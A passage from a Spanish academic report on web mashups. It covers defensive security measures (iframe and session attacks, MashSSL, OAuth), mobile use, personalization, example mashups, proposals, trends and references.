(Fuente: Mashup Security en www.ibm.com) Otra opción es anular la utilización de la función de Javascript eval() a la hora de procesar código JSON y utilizar funciones alternativas como parseJSON() de reciente implementación.

4.4. Ataques de iframe.

Los widgets de una plataforma mashup a menudo están embebidos en iframes (inline frames). Estos iframes son elementos HTML que son considerados por los navegadores como entidades independientes y separadas, pero que sin embargo, pueden figurar ocultos y ser utilizados como mensajes de control dentro de una página, lo cual introduce vulnerabilidades en cuanto a seguridad, en cuanto a que el parámetro src de un iframe puede ser modificado y apuntar a cualquier página que contenga código malicioso.

Algunas medidas para paliar esta vulnerabilidad son: o Asegurar que sólo dominios fiables pueden modificar los identificadores de un iframe. o Encriptación de identificadores de iframes mediante utilización de claves públicas. o Filtrado de los valores que identifican el iframe utilizando código Javascript. o Restringir la ejecución de código Javascript embebido en iframes.

4.5. Ataques de sesión.

La autenticación de un usuario sin comprobación previa de la existencia de otras sesiones abiertas es otro agujero de seguridad, ya que permite a los intrusos interceptar y capturar sesiones ya autenticadas mientras éstas permanezcan abiertas.

Las técnicas para frenar este tipo de ataques incluyen:

o Establecimiento de temporizadores de sesiones. o Invalidación de sesiones de modo explícito, mediante la utilización de botones y enlaces,

de manera que fuercen al usuario a autenticarse ante el sistema. o El almacenamiento de identificadores de sesión en HTTP cookies, en lugar de variables

GET o POST o Regeneración de identificadores de sesión en cada petición, y validación de aquellos

datos dependientes durante la actividad de la sesión.

4.6. Otras medidas de prevención de vulnerabilidades.

Además de las medidas ya expuestas para cada uno de los ataques ya descritos, es recomendable la adopción de otras medidas que complementan las anteriores, y que contribuyen a fortalecer una plataforma mashup, y que son las siguientes:

Page 34: Aspectos Avanzados De Los Mashups

Aspectos avanzados de los Mashups

Página 33

o la utilización de catálogos de gadgets cuyo código y funcionalidad esté controlada y certificada

o establecer el control de las comunicaciones entre la plataforma mashup y proveedor se lleven a cabo en la propia plataforma mashup, en lugar de establecer el control en los gadgets.

o la adopción de canales seguros para las comunicaciones entre ellas, como puede ser el protocolo MashSSL que eviten intrusiones de tipo MITM (Man in The Middle).

o el uso de protocolos de gestión de credenciales (OAuth) que eviten que la información relativa a identificación de sesiones viaje a través de los diferentes componentes del mashup.

En el lado del servidor en un mashup, se autoriza al usuario (masher) a obtener sus datos desde múltiples fuentes o proveedores y a servírselos al usuario bajo el envoltorio de una página web. La utilización conjunta de protocolos como OAuth y MashSSL evitará la necesidad de soportar procesos de autentificación adicionales, de manera que se genera un tráfico de credenciales y confianzas entre los dominios afectados.

4.7. Protocolo MashSSL.

MashSSL es un nuevo protocolo propuesto por la compañía SafeMashups, y que se basa en una extensión del protocolo estándar SSL (Secure Sockets Layer), de manera que amplía y adapta el área de acción del protocolo SSL para entornos de aplicaciones web, especialmente para los mashups.

MashSSL estandariza las comunicaciones entre navegador y aplicación web, proporcionando métodos de autenticación y el establecimiento de canales de comunicación seguros. Se trata de un protocolo de seguridad de 7 niveles, que además de reforzar el SSL, está diseñado para aportar confianza en infraestructuras multipunto, anulando intrusiones de tipo MITM (Man in the Middle) para convertirlas en lo que ellos llaman FITM (Friend in the middle). Para ello, MashSSL realiza procedimientos de cifrado a nivel de transporte, bajo un modelo de certificados de confianza entre las partes involucradas, todo ello favorecido por ser un protocolo ligero y apoyado en la filosofía REST (REpresentational State Transfer).

Las aportaciones de MashSSL a la seguridad en entornos mashup se resumen en:

o convierte el protocolo SSL subyacente en un protocolo multipunto (y no sólo punto a punto) sin tener que realizar ningún cambio en el mismo.

o MashSSH se ejecuta al nivel HTTP, con lo que los mensajes MashSSL son portados dentro del propio HTTP.

o al estar inspirado en la filosofía REST, sus especificaciones son simples y fácilmente entendibles.

FIGURA 22. ESQUEMA DE FUNCIONAMIENTO DE MASHSSL. (FUENTE: MASHSSL ALLIANCE)

Page 35: Aspectos Avanzados De Los Mashups

Aspectos avanzados de los Mashups

Página 34

4.8. Protocolo OAuth.

El protocolo abierto OAuth permite a los usuarios compartir recursos privados que están almacenados en un servidor con otro servidor sin necesidad de exponer sus credenciales, que son sustituidos por la utilización de tokens. Cada token garantiza el acceso a servidores y recursos específicos.

Así pues, en entornos mashup, OAuth define métodos para que un cliente web acceda a la información proporcionada por un proveedor sin tener que aportar credenciales de tipo usuario+contraseña.

4.8. Herramientas de detección de vulnerabilidades. Además de las medidas de prevención ante posibles ataques ya citadas, existen herramientas de chequeo de vulnerabilidades de aplicaciones web. Una de ellas, es Sprajax, una utilidad open source diseñada para escanear y detectar vulnerabilidades en aplicaciones web AJAX, que permite un alto grado de interactividad con el usuario, de manera que devuelve aquellos agujeros de seguridad detectados que todavía siguen abiertos. Herramientas de este tipo están teniendo gran aceptación entre los desarrolladores.

5. MASHUPS EN ENTORNOS MULTIPLATAFORMA

5.1. Restricciones y valor añadido en entornos móviles La evolución hacia una web programable está abriendo la posibilidad de enlazar la web con los dispositivos móviles, cambiando la forma en que los humanos se comunican, interactúan y socializan (6).

Debido a esto, la sociedad está empezando a tener la necesidad de socializar en cualquier momento y en cualquier lugar. De aquí que la ubicuidad de los dispositivos móviles están empezando a tener un rol fundamental en esta nueva experiencia.

Las limitaciones de los dispositivos móviles (almacenamiento, capacidad de cómputo, dispositivos de entrada, etc.) hacen que los mashups sean una tecnología adecuada para estos dispositivos.

5.2. Retos

5.2.1. Ingeniería e investigación

Los dispositivos móviles utilizan comunicación con una frecuencia de fallas alta y un menor ancho de banda. Esto significa que se debe reducir el consumo del canal de comunicación, además, esto reduce el consumo de energía, prolongando la vida de la batería.

La información de la localización, si bien permite a las aplicaciones acceder a información del contexto muy relevante, también viene subyacente el hecho de que esto generaría un alto consumo de ancho de banda.

Los dispositivos móviles también utilizan interfaces de usuario limitadas, por ejemplo una aplicación estaría limitada a parte de la pantalla.

Page 36: Aspectos Avanzados De Los Mashups

Aspectos avanzados de los Mashups

Página 35

5.2.2. Sociales, legales y políticos

Uno de los grandes retos sociales es la de transmitir la ubicación del usuario. Esto afectaría la forma en que el usuario se relaciona con el mundo.

El usuario almacenaría mucha información personal que podría ser utilizada en su contra, frente a un tribunal en caso de tener algún problema legal.

6. LA PERSONALIZACIÓN Y LOS MASHUPS

La personalización web es la habilidad de un sitio para mantener la atención de los usuarios a un nivel más alto de lo común y guiarlos de forma satisfactoria a obtener información útil y pertinente (6).

En función de cómo el sitio web obtiene la información para llevar a cabo la personalización podemos clasificarla en los siguientes tipos:

• personalización adaptable: el usuario proporciona la información. • personalización adaptativa: la información la obtiene la aplicación a partir de la actividad del

usuario o del contexto. • personalización proactiva: la aplicación es capaz de obtener la información sin necesidad de

que el usuario realice ninguna acción. La principal diferencia respecto de las aplicaciones adaptivas es que, mientras que en estas cualquier cambio es causado por una acción del usuario, una aplicación proactiva puede cambiar la vista del usuario sin necesidad de que este realice ninguna acción (7).

Un ejemplo de personalización adaptable podemos verlo en la siguiente figura, un mashup que nos ofrece el tiempo de una ciudad. En este caso, el usuario deberá proporcionar el nombre de la ciudad de la que desea ser informado.

FIGURA 23. PERSONALIZACIÓN ADAPTABLE

Un ejemplo de personalización adaptativa podemos verla en la publicidad que Gmail muestra a los usuarios cuando consulta su correo (8). El comportamiento proactivo es la capacidad por parte de la aplicación de detectar un cambio en las condiciones de interacción (por ejemplo en la localización de un dispositivo de móvil), y la modificación automática de la vista de información ofertada en función de dichas condiciones (7). Este tipo de personalización puede ser aplicado en mashups para terminales móviles que proporcionan información local, de forma que la información variará en función de dónde se encuentre el usuario en cada momento.

Page 37: Aspectos Avanzados De Los Mashups

Aspectos avanzados de los Mashups

Página 36

Pero la personalización en los mashups va más allá de personalizar cada mashup independientemente, sino que éstos pueden ser utilizados como herramientas de personalización de sitios web. La personalización es una práctica que resulta muy interesante para las empresas ya que de este modo consiguen que los usuarios visiten más a menudo y durante más tiempo su sitio web. Existen numerosos ejemplos de sitios web en los que se puede observar este modo de personalización. Probablemente www.igoogle.com y www.netvibes.com sean las más conocidas pero cada vez es más habitual que los sitios web de emisoras de televisión o de periódicos nos ofrezcan estas herramientas permitiendo a los usuarios crear su propia página personal de noticias en la que se mostrarán las noticias que más le interesen ahorrándole al usuario el tiempo de buscar en todas las secciones. Desde hace algunos meses, algunas compañías norteamericanas están comenzando a cruzar la información online y offline que poseen de los consumidores que navegan por Internet (información financiera, pública, nacimiento, estado social, subscripciones a revistas, etc.) y están comenzando a cruzar esta información con la que ya se estaba almacenando online a través de las cookies por parte de muchas empresas del sector. El resultado es que la navegación por muchas webs está comenzando a ser personalizada en base a esos datos que la empresa tiene del mundo real, no del comportamiento online del usuario como pasaba hasta ahora, mostrando al usuario los productos o información que la compañía considera más interesante para ese perfil de usuario. Cabe destacar que estas prácticas son ilegales en España ya que los datos obtenidos de un usuario sólo pueden ser usados para el fin que fueron recabados.

7. MASHUPS RELEVANTES EN LA ACTUALIDAD

La relevancia de los Mashups es de acuerdo al API que usen y pueden distinguirse los siguientes grupos.

• Mashups de mapas • Mashups de videos y/o fotos. • Mashups de búsqueda y compras (search and shopping). • Mashups de noticias.

La grafica muestra en que porcentaje se usan las categorías de APIs para crear Mashups.

FIGURA 25. ESTADÍSTICAS SOBRE CATEGORÍAS DE MASHUPS

Page 38: Aspectos Avanzados De Los Mashups

Aspectos avanzados de los Mashups

Página 37

7.1. Los Mapas En la era actual de tecnología e información los humanos recogemos cantidades enormes de información sobre diversos temas, ya sean objetos, lugares, actividades, historia, etc. Los mashups de mapas, o mapping mashups tienen como objetivo el combinar esta cantidad de información con la información de localización.

7.1.1. Panoramio

FIGURA 26. IMAGEN MASHUP PANORAMIO www.programmableweb.com Descripción Panoramio permite geolocalizar fotografías sobre los mapas de Google y compartirlas con otros usuarios de la web. Está traducido a más de diez idiomas y permite colocar una ventana de los mapas en otras webs. Es posible insertar una ventana de Panoramio dentro de una web o blog, Para ello es necesario insertar un código y hacer una serie de indicaciones en relación a la zona de los mapas a mostrar y al usuario del que se quiere mostrar las fotografías. API: Google Map URL: http://www.panoramio.com/

7.1.2. Wikiloc

FIGURA 27. IMAGEN MASHUP WIKILOC www.programmableweb.com

Page 39: Aspectos Avanzados De Los Mashups

Aspectos avanzados de los Mashups

Página 38

Descripción Wikiloc permite a sus usuarios crear rutas de senderismo o ciclismo y situarlas sobre los mapas. Además se pueden crear puntos de interés para posteriormente ser utilizados en un dispositivo GPS. API: Google Map. URL: http://es.wikiloc.com/wikiloc/home.do

7.2. Los Videos y Fotos Hoy en día hay una gran abundancia de sitios que albergan enormes cantidades de fotos y vídeos y que ofrecen APIs como Flickr, Google Picassa o Youtube. Todos estos contenidos tienen asociada una información adicional, como puede ser quién sacó una foto, en qué lugar, cuándo fue sacada, de qué es, etc. De esta forma, y gracias a las interfaces públicas (APIs) que ofrecen estos servicios, los diseñadores y desarrolladores de mashups pueden crear multitud de aplicaciones que mezclen dichos contenidos con otro tipo de informaciones.

7.2.1. 4 in 1 search

FIGURA 28. IMAGEN MASHUP 4 IN 1 SEARCH www.programmableweb.com Description Una aplicación de busqueda que muestra 4 busquedas en 1 (Páginas Web, Imágenes, Noticias, y videos, desde una sencilla consulta. APIs: Google Ajax Search + Google Translate + Windows Live Search + YouTube Tags: foto, búsqueda, Traducción, video URL: http://addroo.com

7.3. Búsqueda y compras (search and shopping). Se trata de Mashups que se encargan de buscar y localizar los precios de todos los productos indicados a través de los servicios online de tiendas o vendedores.

Page 40: Aspectos Avanzados De Los Mashups

Aspectos avanzados de los Mashups

Página 39

7.3.1. Liveplasma

Figura 29. IMAGEN MASHUP LIVEPLASMA www.programmableweb.com Descripción Una aplicación de gran riqueza visual que combina la API de Amazon para mostrar la relación entre películas, bandas, actores, etc Usted puede ir directamente de la interacción de hacer compras. API: Comercio electrónico Amazon Etiquetas: búsqueda, compras URL: http://www.liveplasma.com/

7.4. Noticias Se trata evidentemente de aplicaciones que recogen información de varios sitios de noticias y las presentan u organizan de determinada manera, o bien que extraen las noticias relativas a cierto tema, etc. Este tipo de mashups es ligeramente diferente de los demás, ya que en este caso se suelen utilizar RSS y Atom (formatos para difusión de contenido web en XML) en lugar de utilizar APIs. Uno de los objetivos de estos mashups puede ser la creación de una especie de periódico personalizado según las preferencias o intereses de los usuarios. También existen otras aplicaciones que superponen las noticias con mapas indicando dónde suceden (por ejemplo BBC News Map) o que simplemente combinan la información que ofrecen varios sitios (como Daily Mashup, que combina Flickr, Del.icio.us, furl y Yahoo News).

7.4.1. Celebrity pictures, videos and news

FIGURA 30. IMAGEN MASHUP CELEBRITY www.programmableweb.com

Page 41: Aspectos Avanzados De Los Mashups

Aspectos avanzados de los Mashups

Página 40

Descripción Para ver imágenes de Yahoo, vídeos de YouTube y leer las últimas noticias sobre las actrices famosas, modelos y cantantes. API: Google Base + Yahoo Image Search + YouTube Etiquetas: celebridades, modelos, Noticias, foto, sexo, vídeo URL: http://www.sexy-celebrity-pic Si queremos encontrar más información sobre Mashups, una de las páginas más importantes para consultar es http://www.programmableweb.com/

8. PROPUESTAS PARA NUEVOS MASHUPS

Creemos que hoy en día la gente está manifestando un gran interés en temas como la personalización, la sensibilidad al contexto, la televisión en el móvil, aplicaciones e-learning, e-health, e-government etc. Además no debemos olvidar que la mayoría de los mashups que se realizan hoy en día están basados en mapas. Basándonos en estos puntos proponemos la realización de los siguientes mashups:

Mashup para dispositivo móvil con información de aparcamientos con plazas libres:

Combinando la información de plazas libres de un aparcamiento, mapas y la información de localización obtenida del móvil, podemos realizar un mashup que nos informe del parking con plazas libres más cercanas.

Para que este mashup sea viable es necesario que los aparcamientos publiquen la información de plazas libres, esto no debería tener mayor complicación ya que hay muchos aparcamientos que disponen de sensores que indican qué plazas están libres.

Esta solución, en un futuro, incluso podría ser extrapolable a plazas libres en zona azul, plazas de minusválidos etc., pero sería necesario una inversión inicial por parte de la administración responsable para dotarlas con sensores.

Mashup recomendador de películas:

Este mashup podría adaptarse tanto para un dispositivo móvil, TV o PC. Consistiría en combinar la EPG o la cartelera de un cine, un historial de películas que el usuario haya visto y la información de una página de críticas de cine para recomendarnos una película en función de nuestras preferencias y de las críticas recibidas por la película.

Mashup con información de eventos de la Universidade de Vigo geolocalizados:

Con este mashup pretendemos representar sobre mapas de google (3 mapas, uno por cada campus de la UVigo) la información reflejada en la agenda de la Universidade de Vigo, de manera que se sitúan geográficamente los eventos a medida que se van seleccionando, al tiempo que despliega información sobre el centro en el que tiene lugar físicamente el evento, como podrían ser descripción del edificio (Facultad, Escuela Superior, Centro Administrativo, etc), datos de contacto, cómo llegar, etc. Los eventos representados geográficamente podrían ser por ejemplo: conferencias, reuniones, lecturas/defensas de proyectos/tesis, actos académicos, exámenes, etc. En definitiva, cualquier evento susceptible de ser geolocalizado.

Como apoyo, se le podrían añadir a los mapas información fotográfica de los lugares donde ocurren los eventos, proveniente de otra API a mayores (Flickr), y que aportarían referencias visuales para aquellas personas interesadas en asistir a cualquiera de los eventos anunciados.

Page 42: Aspectos Avanzados De Los Mashups

Aspectos avanzados de los Mashups

Página 41

9. TENDENCIAS FUTURAS.

¿Qué futuro les espera a los mashups?

El futuro de los mashups es prometedor. La actual web 2.0 se está convirtiendo cada día más en una inmensa red de servicios. En este campo, en el de los servicios, es precisamente dónde los mashups cobran todo su protagonismo, como aglutinadores de servicios ya existentes, y como “bases operativas” para componer nuevos servicios.

También es probable que se observe una profusión de mashups de carácter corporativo (business mashups), y no sólo de tipo social o público. Si acaso, centrándose en el mundo de la empresa, la explosión de mashups se puede ver limitada en tres aspectos:

o algunas de las APIs disponibles en el mercado poseen licencias que explicitan la prohibición de uso con fines comerciales.

o las empresas son reacias a invertir recursos en este campo. o La falta de garantías de los SLA (Service Level Agreement) otorgados por los

proveedores para cesión de sus APIs, a respecto de soporte, actualización, escalabilidad, etc.

En cualquier caso, es un nuevo reto en la red la “popularización” de los mashups. Favorecidos por la aparición de herramientas que facilitan a los usuarios la posibilidad de crear sus propios mashups (ver apartado de herramientas para construcción de mashups en capítulo 3), sin necesidad de poseer conocimientos avanzados. Esto posibilitará que cualquiera podrá construir su propio mashup.

Como consecuencia, el futuro de los mashups pasará obligatoriamente por los usuarios que podrán disfrutar de herramientas de desarrollo de sus propios mashups de una forma relativamente sencilla y potente.

En otro plano, los mashups continuarán extendiéndose por varias plataformas, y serán accesibles en un número cada vez mayor a través de plataformas móviles, y no sólo a través de los navegadores web. A esto contribuirá sin duda, la reciente aparición de sistemas operativos en dispositivos móviles como iPhone, Android, etc., así como la creciente potencia en cuanto a capacidad computacional de las plataformas móviles.

Lo más probable es que en los mashups se concentren los futuros modelos de negocio en internet, de manera que no sería de extrañar un aumento significativo de la competencia entre mashups para atraer clientes.

10. VALORACIÓN.

Como hemos visto a lo largo del documento, los mashups ofrecen múltiples ventajas a un gran abanico de usuarios. Desde las grandes empresas hasta un usuario sin perfil técnico, pasando por los programadores todos podemos obtener beneficios de los mashups. Las empresas podrán hacer un mejor uso de sus datos para llegar a su público objetivo, cualquier usuario podrá combinar la información que le interesa y personalizarla a su medida y los programadores, lejos de ver las herramientas que presentamos como una amenaza o competencia deben saber aprovecharlas y aportar su experiencia como un valor añadido y aprovecharse de las grandes posibilidades de reutilización que nos ofrecen.

Page 43: Aspectos Avanzados De Los Mashups

Aspectos avanzados de los Mashups

Página 42

Pero también debemos de tener en cuenta una serie de inconvenientes que giran alrededor de los mashups. Uno de los principales inconvenientes es la dependencia de los proveedores que de un día para otro pueden cambiar sus condiciones de uso o su API hasta el punto de plantearnos si determinado mashup seguirá existiendo a medio o largo plazo si no hay alguien encargado de su mantenimiento.

Page 44: Aspectos Avanzados De Los Mashups

Aspectos avanzados de los Mashups

Página 43

11. REFERENCIAS.

1. Understanding Mashup Development. Yu, Jin, y otros. 5, s.l. : IEEE, 2008, IEEE INTERNET COMPUTING, Vol. 12, págs. 44-52. 1089-7801 .

2. Privacy-aware Identity Management for Client-side Mashup Applications. Zarandioon, Saman, Yao, Danfeng y Ganapathy, Vinod. s.l. : ACM, 2009. Proceedings of the 5th ACM workshop on Digital identity management. págs. 21-30. 978-1-60558-786-8 .

3. Feiler, J. How to Do Everything with Web 2.0 Mashups. s.l. : Osborne: McGraw Hill Press, 2008.

4. Servicio web. Wikipedia. [En línea] 28 de Octubre de 2009. [Citado el: 3 de Diciembre de 2009.] http://es.wikipedia.org/wiki/Servicio_web.

5. Mobile Mashups: Thoughts, Directions, and Challenges. Maximilien, E. Michael. s.l. : IEEE, 2008. The IEEE International Conference on Semantic Computing. págs. 597-600.

6. Mobasher, Bamshad. Web Usage Mining and Personalization. s.l. : CRC Press LLC, 2004.

7. Irene Garrigós, Cristina Cachero, Jaime Gómez. Modelado Conceptual de aplicaciones adaptivas y proactivas en OO-H. JISDB 2002. [En línea] 11 de Noviembre de 2002. [Citado el: 28 de Noviembre de 2009.] http://www.dlsi.ua.es/webe02/articulos/6b.pdf.

8. Data Mashups & Their Applications in Enterprises. Sangtani, S. Kami Makki and Jaina. 2008. 10.1109/ICIW.2008.98 .

9. User-Friendly Functional Programming for Web Mashups. Ennals, Rob y Gay, David. New York : ACM, 2007. Proceedings of the 12th ACM SIGPLAN international conference on Functional programming. págs. 223 - 234. 978-1-59593-815-2 .

10. Mashups: The new breed of Web app. IBM. [En línea] 24 de Julio de 2009. [Citado el: 3 de Diciembre de 2009.] http://www.ibm.com/developerworks/xml/library/x-mashups.html.

11. Rss20AndAtom10Compared. Rss20AndAtom10Compared. [En línea] 10 de Septiembre de 2008. [Citado el: 28 de Noviembre de 2009.] http://www.intertwingly.net/wiki/pie/Rss20AndAtom10Compared.

12. The world of Syndication: Atom 1.0 vs. RSS 2.0? The world of Syndication: Atom 1.0 vs. RSS 2.0? [En línea] 06 de Octubre de 2008. [Citado el: 28 de Noviembre de 2009.] http://blogs.iis.net/vsood/archive/2008/10/06/the-world-of-syndication-atom-1-0-vs-rss-2-0.aspx.

13. Mashing up Visual Languages and Web Mash-ups. Jones, M. Cameron, Churchill, Elizabeth F. y Twidale, Michael B. s.l. : IEEE, 2008. 2008 IEEE Symposium on Visual Languages and Human-Centric Computing (VL/HCC). págs. 143-146.

14. Mobile Mashups: Thoughts, Directions, and Challenges. Maximilien, E. M. Santa Clara CA : IEEE, 2008. The IEEE International Conference on Semantic Computing. 978-0-7695-3279-0.

15. safe mashups. [En línea] [Citado el: 3 de Diciembre de 2009.] http://www.safemashup.com/.

16. How To Secure APIs and Mashups. programmableweb. [En línea] 24 de Septiembre de 2009. [Citado el: 3 de Dicembre de 2009.] http://blog.programmableweb.com/2009/09/24/how-to-secure-apis-and-mashups/.

17. Wikipedia. Wikipedia. [En línea] [Citado el: 3 de Diciembre de 2009.] http://en.wikipedia.org/.

18. Barth, Adam, Jackson, Collin y Mitchel, John C. Securing Frame Communication in Browsers. Securing Frame Communication in Browsers. [En línea] [Citado el: 3 de Diciembre de 2009.]

Page 45: Aspectos Avanzados De Los Mashups

Aspectos avanzados de los Mashups

Página 44

19. Open Ajax alliance. [En línea] [Citado el: 03 de Diciembre de 2009.] Securing Frame Communication in Browsers.

20. Mashups: The future of portals. Express Computer. [En línea] 03 de Diciembre de 2009. http://www.expresscomputeronline.com/20080114/technology01.shtml.

21. Griffin, Eric. Foundations of Popfly: Rapid Mashup Development. s.l. : Apress, 2008.

22. ProgrammableWeb. [En línea] [Citado el: 3 de Diciembre de 2009.] http://www.programmableweb.com/.

23. API de Google Maps. API de Google Maps. [En línea] [Citado el: 3 de Diciembre de 2009.] http://code.google.com/intl/es/apis/maps/index.html.

24. Flickr Code. [En línea] [Citado el: 3 de Diciembre de 2009.] http://code.flickr.com.

25. Herramientas y API de YouTube. [En línea] [Citado el: 3 de Diciembre de 2009.] http://code.google.com/intl/es/apis/youtube/overview.html.

26. Product Advertising API. Amazon. [En línea] [Citado el: 3 de Diciembre de 2009.] https://affiliate-program.amazon.com/gp/advertising/api/detail/main.html.

27. Twitter API Wiki. Twitter. [En línea] [Citado el: 3 de Diciembre de 2009.] http://apiwiki.twitter.com/.

28. eBay Developers Program. eBay. [En línea] [Citado el: 3 de Diciembre de 2009.] http://developer.ebay.com/.

29. Bing Maps for Enterprise form Microsoft. Microsoft. [En línea] [Citado el: 3 de Diciembre de 2009.] http://www.microsoft.com/maps/developers/.

30. API. delicious. [En línea] [Citado el: 3 de Diciembre de 2009.] http://delicious.com/help/api .

31. API AJAX de Google para búsquedas. Google. [En línea] [Citado el: 3 de Diciembre de 2009.] http://code.google.com/intl/es/apis/ajaxsearch/.

32. Yahoo! Maps Web Services. Yahoo! Developer Network. [En línea] [Citado el: 3 de Diciembre de 2009.] http://developer.yahoo.com/maps/.

33. Top 10 Mashup's Hispanos de Google Maps. tecnomaps. [En línea] [Citado el: 3 de Diciembre de 2009.] http://www.tecnomaps.com/top-10-mashups-hispanos-de-google-maps/.